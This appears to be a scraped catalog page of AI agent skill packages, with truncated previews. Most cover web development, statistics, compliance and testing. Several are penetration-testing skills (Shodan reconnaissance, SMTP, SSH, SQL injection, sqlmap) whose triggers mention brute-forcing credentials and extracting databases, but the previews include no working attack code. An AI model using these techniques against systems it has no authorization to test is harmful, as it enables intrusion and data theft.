- GLTF Animations with useAnimations
- Spring Animation (@react-spring/three)
- Morph Targets
- Skeletal Animation
- Procedural Animation Patterns
- Drei Animation Helpers
- Animation with Zustand State
- State Management Performance
- Performance Tips
- See Also
Files
SKILL.mdcore22,004 bytesSKILL.mdcore22,004 bytes
Read SKILL.md
# React Three Fiber Animation
## Quick Start
```tsx
import { Canvas, useFrame } from '@react-three/fiber'
import { useRef } from 'react'
function RotatingBox() {
const meshRef = useRef()
useFrame((state, delta) => {
meshRef.current.rotation.x += delta
meshRef.current.rotation.y += delta * 0.5View the complete source on GitHubr3f-best-practices
When your agent uses it
React Three Fiber (R3F) and Poimandres ecosystem best practices. Use when writing, reviewing, or optimizing R3F code. Triggers on tasks involving @react-three/fiber, @react-three/drei, zustand, @react-three/postprocessing, @react-three/rapier, or leva.
What it loads into context
Frontmatter
102 tokensAlways available to the agent
SKILL.md
2,170 tokensWhen the skill is activated
Reference documents
5,502 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Sources & Credits
- When to Apply
- Ecosystem Coverage
- Rule Categories by Priority
- Quick Reference
- How to Use
- Critical Patterns
Files
SKILL.mdcore8,128 bytesrules/_sections.mddoc1,990 bytesrules/drei-use-gltf.mddoc3,052 bytesrules/frame-delta-time.mddoc2,746 bytesrules/loading-suspense.mddoc3,732 bytesrules/perf-never-set-state-in-useframe.mddoc2,624 bytesrules/perf-r3f-perf.mddoc1,961 bytesrules/perf-visibility-toggle.mddoc1,950 bytesrules/perf-zustand-selectors.mddoc3,089 bytes
Read SKILL.md
# React Three Fiber Best Practices
Comprehensive guide for React Three Fiber and the Poimandres ecosystem. Contains 70+ rules across 12 categories, prioritized by impact.
## Sources & Credits
> Additional tips from [100 Three.js Tips](https://www.utsubo.com/blog/threejs-best-practices-100-tips) by [Utsubo](https://www.utsubo.com)
## When to Apply
Reference these guidelines when:
- Writing new R3F components
- Optimizing R3F performance (re-renders are the #1 issue)
- Using Drei helpers correctlyView the complete source on GitHubvercel-react-best-practices
When your agent uses it
React and Next.js performance optimization guidelines from Vercel Engineering. This skill should be used when writing, reviewing, or refactoring React/Next.js code to ensure optimal performance patterns. Triggers on tasks involving React components, Next.js pages, data fetching, bundle optimization, or performance improvements.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
1,533 tokensWhen the skill is activated
Reference documents
40,502 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- Rule Categories by Priority
- Quick Reference
- How to Use
- Full Compiled Document
Files
AGENTS.mddoc81,336 bytesREADME.mddoc3,369 bytesSKILL.mdcore6,357 bytesmetadata.jsonasset921 bytesrules/_sections.mddoc1,538 bytesrules/_template.mddoc631 bytesrules/advanced-event-handler-refs.mddoc1,483 bytesrules/advanced-init-once.mddoc958 bytesrules/advanced-use-latest.mddoc1,071 bytesrules/async-api-routes.mddoc1,113 bytesrules/async-defer-await.mddoc2,008 bytesrules/async-dependencies.mddoc1,294 bytesrules/async-parallel.mddoc646 bytesrules/async-suspense-boundaries.mddoc2,506 bytesrules/bundle-barrel-imports.mddoc2,372 bytesrules/bundle-conditional.mddoc959 bytesrules/bundle-defer-third-party.mddoc919 bytesrules/bundle-dynamic-imports.mddoc790 bytesrules/bundle-preload.mddoc1,120 bytesrules/client-event-listeners.mddoc1,982 bytesrules/client-localstorage-schema.mddoc1,975 bytesrules/client-passive-event-listeners.mddoc1,636 bytesrules/client-swr-dedup.mddoc1,161 bytesrules/js-batch-dom-css.mddoc3,239 bytesrules/js-cache-function-results.mddoc1,931 bytesrules/js-cache-property-access.mddoc532 bytesrules/js-cache-storage.mddoc1,640 bytesrules/js-combine-iterations.mddoc759 bytesrules/js-early-exit.mddoc1,129 bytesrules/js-hoist-regexp.mddoc1,026 bytesrules/js-index-maps.mddoc847 bytesrules/js-length-check-first.mddoc1,748 bytesrules/js-min-max-loop.mddoc2,278 bytesrules/js-set-map-lookups.mddoc532 bytesrules/js-tosorted-immutable.mddoc1,782 bytesrules/rendering-activity.mddoc564 bytesrules/rendering-animate-svg-wrapper.mddoc1,119 bytesrules/rendering-conditional-render.mddoc936 bytesrules/rendering-content-visibility.mddoc817 bytesrules/rendering-hoist-jsx.mddoc989 bytesrules/rendering-hydration-no-flicker.mddoc2,242 bytesrules/rendering-hydration-suppress-warning.mddoc850 bytesrules/rendering-svg-precision.mddoc588 bytesrules/rendering-usetransition-loading.mddoc2,070 bytesrules/rerender-defer-reads.mddoc973 bytesrules/rerender-dependencies.mddoc824 bytesrules/rerender-derived-state-no-effect.mddoc1,201 bytesrules/rerender-derived-state.mddoc727 bytesrules/rerender-functional-setstate.mddoc2,976 bytesrules/rerender-lazy-state-init.mddoc2,000 bytesrules/rerender-memo-with-default-value.mddoc1,171 bytesrules/rerender-memo.mddoc1,148 bytesrules/rerender-move-effect-to-event.mddoc1,268 bytesrules/rerender-simple-expression-in-memo.mddoc1,018 bytesrules/rerender-transitions.mddoc1,055 bytesrules/rerender-use-ref-transient-values.mddoc1,742 bytesrules/server-after-nonblocking.mddoc2,002 bytesrules/server-auth-actions.mddoc2,638 bytesrules/server-cache-lru.mddoc1,353 bytesrules/server-cache-react.mddoc2,225 bytesrules/server-dedup-props.mddoc2,064 bytesrules/server-parallel-fetching.mddoc1,554 bytesrules/server-serialization.mddoc1,000 bytes
Read SKILL.md
# Vercel React Best Practices
Comprehensive performance optimization guide for React and Next.js applications, maintained by Vercel. Contains 57 rules across 8 categories, prioritized by impact to guide automated refactoring and code generation.
## When to Apply
Reference these guidelines when:
- Writing new React components or Next.js pages
- Implementing data fetching (client or server-side)
- Reviewing code for performance issues
- Refactoring existing React/Next.js code
- Optimizing bundle size or load times
View the complete source on GitHubred-team-tools
When your agent uses it
This skill should be used when the user asks to "follow red team methodology", "perform bug bounty hunting", "automate reconnaissance", "hunt for XSS vulnerabilities", "enumerate subdomains", or needs security researcher techniques and tool configurations from top bug bounty hunters.
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
2,016 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs/Prerequisites
- Outputs/Deliverables
- Core Workflow
- Quick Reference
- Constraints
- Examples
- Troubleshooting
Files
SKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytesSKILL.mdcore7,781 bytes
Read SKILL.md
# Red Team Tools and Methodology
## Purpose
Implement proven methodologies and tool workflows from top security researchers for effective reconnaissance, vulnerability discovery, and bug bounty hunting. Automate common tasks while maintaining thorough coverage of attack surfaces.
## Inputs/Prerequisites
- Target scope definition (domains, IP ranges, applications)
- Linux-based attack machine (Kali, Ubuntu)
- Bug bounty program rules and scope
- Tool dependencies installed (Go, Python, Ruby)
- API keys for various services (Shodan, Censys, etc.)
View the complete source on GitHubregression-modeler
When your agent uses it
Run regression analysis (OLS or logistic) on uploaded CSV/Excel data, generating coefficients, R², p-values, VIF, and plain-language interpretation. Triggered by requests for regression modeling, fitting data, testing significance, checking multicollinearity, or keywords like OLS, logit, coefficient, p-value, or R-squared.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
951 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Quick Start
- Detailed Usage
- Parameters
- Output Structure (JSON)
- Dependencies
Scripts executed separately
scripts/regression_analyzer.py
Files
LICENSEasset1,089 bytesSKILL.mdcore3,652 bytesSKILL.mdcore3,652 bytesSKILL.mdcore3,652 bytesSKILL.mdcore3,652 bytesSKILL.mdcore3,652 bytesSKILL.mdcore3,652 bytesscripts/regression_analyzer.pyruns13,281 bytes
Read SKILL.md
# regression-modeler
Automated regression modeling tool — performs linear regression (OLS) or logistic regression (Logit) on tabular data, producing comprehensive statistical results with plain-language interpretation.
## Capabilities
| Feature | Description |
|---------|-------------|
| Linear Regression | OLS with coefficients, R², adjusted R², F-test, AIC/BIC, Durbin-Watson |
| Logistic Regression | Logit with coefficients, Odds Ratio, Pseudo R², likelihood ratio test |
| Multicollinearity Detection | VIF values for each predictor with warning levels |
| Plain-Language Interpretation | Clear explanations of what each metric and coefficient means |
| Auto Detection | Automatically switches to logistic regression when the target is binary (0/1) |
View the complete source on GitHubregulatory-audit-generator
When your agent uses it
Builds compliance checklists for business scenarios involving GDPR, PIPL, or advertising/data laws. Outputs a structured checklist with check items, legal basis, risk levels, and actionable recommendations. Triggered by requests like "run a compliance check," "GDPR/PIPL compliance," "pre-launch review," "privacy impact assessment (PIA/DPIA)," or asking if a feature is compliant.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
2,790 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- 1. Supported Regulatory Frameworks
- 2. Compliance Check Procedure (SOP)
- 3. Common Business Scenario Check Points
- 4. Risk Level Criteria
- 5. Deliverables
- 6. Disclaimers
- References
Files
LICENSEasset1,056 bytesSKILL.mdcore14,041 bytes
Read SKILL.md
# Regulatory Audit Generator — Business Scenario Compliance Checklist Builder
Identifies applicable laws and regulations based on the user's business scenario description, and outputs a structured compliance checklist covering major regulations such as GDPR, PIPL (Personal Information Protection Law), Advertising Law, Cybersecurity Law, and Data Security Law.
## Quick Start
Users simply describe their business scenario, and the Agent will:
1. **Identify applicable regulations**: Determine which laws and regulations apply based on the business scenario
2. **Generate a checklist**: Output a structured list of check items
3. **Label risk levels**: Prioritize by severity, marking high/medium/low risk
4. **Provide remediation recommendations**: Offer actionable remediation guidance for each compliance risk
Users just need to say:View the complete source on GitHubrepo-audit
When your agent uses it
Deep analysis of Git history: identify frequently changed hotspot files, analyze code ownership by contributor, and scan for leaked secrets. Triggered when users ask about Git analysis, code hotspots, who owns what code, secret scanning, security audits of commit history, or optimizing code review assignments.
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
809 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Feature Overview
- Use Cases
- Dependencies
Scripts executed separately
scripts/hotfiles.shscripts/ownership.shscripts/secret-scan.sh
Files
LICENSEasset1,083 bytesSKILL.mdcore3,324 bytesSKILL.mdcore3,324 bytesSKILL.mdcore3,324 bytesSKILL.mdcore3,324 bytesSKILL.mdcore3,324 bytesSKILL.mdcore3,324 bytesSKILL.mdcore3,324 bytesscripts/hotfiles.shruns3,656 bytesscripts/ownership.shruns5,150 bytesscripts/secret-scan.shruns9,413 bytes
Read SKILL.md
# Repo Audit — Deep Analysis of Git History
Perform three-dimensional analysis on a Git repository: **hotspot file detection**, **code ownership analysis**, and **secret leak scanning**.
## Feature Overview
### 1. Hotspot File Analysis (`scripts/hotfiles.sh`)
Identify the most frequently changed files in a repository to help spot:
- High-risk code areas (frequent changes = potential instability)
- Files that deserve extra attention during code review
- Modules that may need splitting or refactoring
**Usage:**View the complete source on GitHubroute-to-openapi
When your agent uses it
Generates RESTful API documentation (OpenAPI 3.0 / Swagger spec) by scanning route definitions in code for Flask, FastAPI, Express, Gin, and other frameworks. Trigger when users ask about API documentation, OpenAPI, Swagger, endpoint docs, generating docs from code, or extracting endpoints.
What it loads into context
Frontmatter
75 tokensAlways available to the agent
SKILL.md
1,145 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Supported Frameworks
- Extraction Capabilities
- Path Parameter Format Conversion
- Parameters
- Output Example
- Prerequisites
Scripts executed separately
scripts/generate_api_doc.py
Files
LICENSEasset1,056 bytesSKILL.mdcore4,601 bytesSKILL.mdcore4,601 bytesSKILL.mdcore4,601 bytesSKILL.mdcore4,601 bytesSKILL.mdcore4,601 bytesscripts/generate_api_doc.pyruns26,917 bytes
Read SKILL.md
# route-to-openapi
Automatically scan route/endpoint definitions in source code and generate RESTful API documentation conforming to the [OpenAPI 3.0.3](https://spec.openapis.org/oas/v3.0.3) specification.
Supports major web frameworks with automatic framework detection. Extracts HTTP methods, paths, parameters, request bodies, response models, and doc comments, then outputs a standard OpenAPI spec file ready to import into Swagger UI or Redoc.
## Quick Start
```bash
# Scan source directory, output OpenAPI spec in JSON format
python scripts/generate_api_doc.py ./src
# Specify output format and file
python scripts/generate_api_doc.py ./src --format yaml --output api-spec.yamlView the complete source on GitHubscanning-tools
When your agent uses it
This skill should be used when the user asks to "perform vulnerability scanning", "scan networks for open ports", "assess web application security", "scan wireless networks", "detect malware", "check cloud security", or "evaluate system compliance". It provides comprehensive guidance on security scanning tools and methodologies.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
3,749 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Troubleshooting
Files
SKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytesSKILL.mdcore13,538 bytes
Read SKILL.md
# Security Scanning Tools
## Purpose
Master essential security scanning tools for network discovery, vulnerability assessment, web application testing, wireless security, and compliance validation. This skill covers tool selection, configuration, and practical usage across different scanning categories.
## Prerequisites
### Required Environment
- Linux-based system (Kali Linux recommended)
- Network access to target systems
- Proper authorization for scanning activities
### Required KnowledgeView the complete source on GitHubscholarly-writing-refiner
When your agent uses it
Polishes academic English paragraph by paragraph, reviewing grammar, word choice, voice, coherence, and sentence structure. Outputs revision suggestions alongside polished text. Triggered by phrases like 'polish this paragraph,' 'check the grammar,' 'rewrite in academic English,' or keywords like manuscript editing, SCI polishing, and journal submission editing.
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
4,614 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- 1. Review Dimensions Overview
- 2. Grammar Review Rules
- 3. Word Choice Optimization Rules
- 4. Voice Guidelines
- 5. Coherence and Cohesion Rules
- 6. Sentence Structure Optimization Rules
- 7. Section-Specific Polishing Guide
- 8. Polishing Output Format
- 9. Domain-Specific Notes
- 10. Agent Behavior Guide
Files
LICENSEasset1,093 bytesSKILL.mdcore21,147 bytes
Read SKILL.md
# Scholarly Writing Refiner — Academic Paper English Polishing Knowledge Base
Helps users review and polish English papers paragraph by paragraph according to international academic journal standards. Covers grammar correction, academic word choice optimization, voice normalization, coherence strengthening, sentence variety, and more. Outputs revision suggestions along with the polished text.
## Quick Start
Users only need to provide:
1. **Text to polish**: One or more paragraphs of English paper content
2. **Paper type** (optional): Journal article / Conference paper / Thesis or dissertation / Review article
3. **Target journal/field** (optional): e.g., Nature, IEEE, AAAI, Medicine, Computer Science, etc.
4. **Polishing focus** (optional): Comprehensive polish / Grammar only / Word choice only / Coherence only
Example:
> "Polish this Introduction for me. The target venue is NeurIPS, and I'd like the language to sound more natural with better logical flow."View the complete source on GitHubsecure-code-review
When your agent uses it
Systematically reviews code for SQL injection, XSS, SSRF, broken access control, cryptographic failures, and other common OWASP Top 10 vulnerabilities, providing vulnerable code examples and ready-to-use remediation guidance. Trigger this skill when users ask for a security review, vulnerability scan, or penetration testing assistance, or mention keywords like OWASP, SQL injection, XSS, code audit, or security checklist.
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
4,347 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Usage
- Quick Reference
- Review Process SOP
- A01:2021 — Broken Access Control
- A02:2021 — Cryptographic Failures
- A03:2021 — Injection
- A04:2021 — Insecure Design
- A05:2021 — Security Misconfiguration
- A06:2021 — Vulnerable and Outdated Components
- A07:2021 — Identification and Authentication Failures
- A08:2021 — Software and Data Integrity Failures
- A09:2021 — Security Logging and Monitoring Failures
- A10:2021 — Server-Side Request Forgery (SSRF)
- Review Report Template
- Recommended Open-Source Security Tools
Files
LICENSEasset1,083 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytesSKILL.mdcore19,053 bytes
Read SKILL.md
# OWASP Top 10 Code Security Review Checklist
A systematic security review based on the OWASP Top 10 (2021) standard. Each item includes: vulnerability description, typical vulnerable code, inspection checkpoints, and remediation examples. Designed for security-focused code review of web applications.
## Usage
Provide the code files or code snippets to review, and specify which OWASP categories to check (or request a full review) to receive an item-by-item audit report.
**Example prompts:**
- "Check this code for SQL injection risks"
- "Run a full OWASP Top 10 security review on this project"
- "Does this API endpoint have any SSRF vulnerabilities?"
---View the complete source on GitHubshodan-reconnaissance
When your agent uses it
This skill should be used when the user asks to "search for exposed devices on the internet," "perform Shodan reconnaissance," "find vulnerable services using Shodan," "scan IP ranges with Shodan," or "discover IoT devices and open ports." It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance.
What it loads into context
Frontmatter
99 tokensAlways available to the agent
SKILL.md
3,565 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs / Prerequisites
- Outputs / Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Examples
- Troubleshooting
Files
SKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytesSKILL.mdcore13,806 bytes
Read SKILL.md
# Shodan Reconnaissance and Pentesting
## Purpose
Provide systematic methodologies for leveraging Shodan as a reconnaissance tool during penetration testing engagements. This skill covers the Shodan web interface, command-line interface (CLI), REST API, search filters, on-demand scanning, and network monitoring capabilities for discovering exposed services, vulnerable systems, and IoT devices.
## Inputs / Prerequisites
- **Shodan Account**: Free or paid account at shodan.io
- **API Key**: Obtained from Shodan account dashboard
- **Target Information**: IP addresses, domains, or network ranges to investigate
- **Shodan CLI**: Python-based command-line tool installed
- **Authorization**: Written permission for reconnaissance on target networks
View the complete source on GitHubsmtp-penetration-testing
When your agent uses it
This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
3,293 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Examples
- Troubleshooting
- Security Recommendations
Files
SKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytesSKILL.mdcore12,156 bytes
Read SKILL.md
# SMTP Penetration Testing
## Purpose
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
## Prerequisites
### Required Tools
```bash
# Nmap with SMTP scripts
sudo apt-get install nmap
# NetcatView the complete source on GitHubsql-injection-testing
When your agent uses it
This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
2,739 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs / Prerequisites
- Outputs / Deliverables
- Core Workflow
- Quick Reference
- Constraints and Guardrails
- Examples
- Troubleshooting
Files
SKILL.mdcore11,462 bytes
Read SKILL.md
# SQL Injection Testing
## Purpose
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
## Inputs / Prerequisites
### Required Access
- Target web application URL with injectable parameters
- Burp Suite or equivalent proxy tool for request manipulation
- SQLMap installation for automated exploitation
- Browser with developer tools enabled
View the complete source on GitHubsql-insight
When your agent uses it
Translate natural language to SQL, optimize query performance, and interpret EXPLAIN plans for SQLite and PostgreSQL. Triggered when users ask to convert questions into SQL, improve slow queries, tune indexes, analyze execution plans, or mention keywords like NL2SQL, query tuning, or full table scan.
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
1,966 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Workflow
- Quick Start
- Detailed Usage
- Optimization Rules
- EXPLAIN Interpretation Items
- Output Examples
- Safety Mechanisms
- Dependencies
Scripts executed separately
scripts/sql_query_helper.py
Files
LICENSEasset1,086 bytesSKILL.mdcore8,438 bytesSKILL.mdcore8,438 bytesSKILL.mdcore8,438 bytesSKILL.mdcore8,438 bytesSKILL.mdcore8,438 bytesscripts/sql_query_helper.pyruns34,279 bytes
Read SKILL.md
# sql-insight
SQL query assistant — natural language to SQL translation, query optimization analysis, and EXPLAIN plan interpretation.
## Capabilities
| Feature | Description |
|---------|-------------|
| Schema Extraction | Extracts database table structure (columns, types, indexes, foreign keys, sample data) to provide context for NL→SQL |
| Natural Language → SQL | Translates natural language descriptions into SQL queries using schema context |
| Query Optimization Analysis | Detects SQL anti-patterns based on 13 rules and provides optimization suggestions |
| EXPLAIN Interpretation | Runs EXPLAIN and interprets the query plan, identifying full table scans, missing indexes, and more |
## WorkflowView the complete source on GitHubsqlmap-database-pentesting
When your agent uses it
This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
3,268 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs / Prerequisites
- Outputs / Deliverables
- Core Workflow
- Quick Reference Commands
- Constraints and Limitations
- Examples
- Troubleshooting
Files
SKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytesSKILL.mdcore12,017 bytes
Read SKILL.md
# SQLMap Database Penetration Testing
## Purpose
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
## Inputs / Prerequisites
- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)
- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub
- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable
- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection
- **Authorization**: Written permission for penetration testing activities
View the complete source on GitHubssh-penetration-testing
When your agent uses it
This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
3,406 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Troubleshooting
Files
SKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytesSKILL.mdcore11,937 bytes
Read SKILL.md
# SSH Penetration Testing
## Purpose
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
## Prerequisites
### Required Tools
- Nmap with SSH scripts
- Hydra or Medusa for brute-forcing
- ssh-audit for configuration analysis
- Metasploit Framework
- Python with Paramiko libraryView the complete source on GitHubtest-driven-dev
When your agent uses it
Test-driven development with red-green-refactor loop. Use when user wants to build features or fix bugs using TDD, mentions "red-green-refactor", wants integration tests, or asks for test-first development.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
934 tokensWhen the skill is activated
Reference documents
1,126 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Philosophy
- Anti-Pattern: Horizontal Slices
- Workflow
- Checklist Per Cycle
Files
LICENSEasset1,068 bytesSKILL.mdcore4,223 bytesdeep-modules.mddoc1,239 bytesinterface-design.mddoc653 bytesmocking.mddoc1,481 bytesrefactoring.mddoc387 bytestests.mddoc1,640 bytes
Read SKILL.md
# Test-Driven Development
## Philosophy
**Core principle**: Tests should verify behavior through public interfaces, not implementation details. Code can change entirely; tests shouldn't.
**Good tests** are integration-style: they exercise real code paths through public APIs. They describe _what_ the system does, not _how_ it does it. A good test reads like a specification - "user can checkout with valid cart" tells you exactly what capability exists. These tests survive refactors because they don't care about internal structure.
**Bad tests** are coupled to implementation. They mock internal collaborators, test private methods, or verify through external means (like querying a database directly instead of using the interface). The warning sign: your test breaks when you refactor, but behavior hasn't changed. If you rename an internal function and tests fail, those tests were testing implementation, not behavior.
See [tests.md](tests.md) for examples and [mocking.md](mocking.md) for mocking guidelines.
## Anti-Pattern: Horizontal Slices
View the complete source on GitHubtest-suite-architect
When your agent uses it
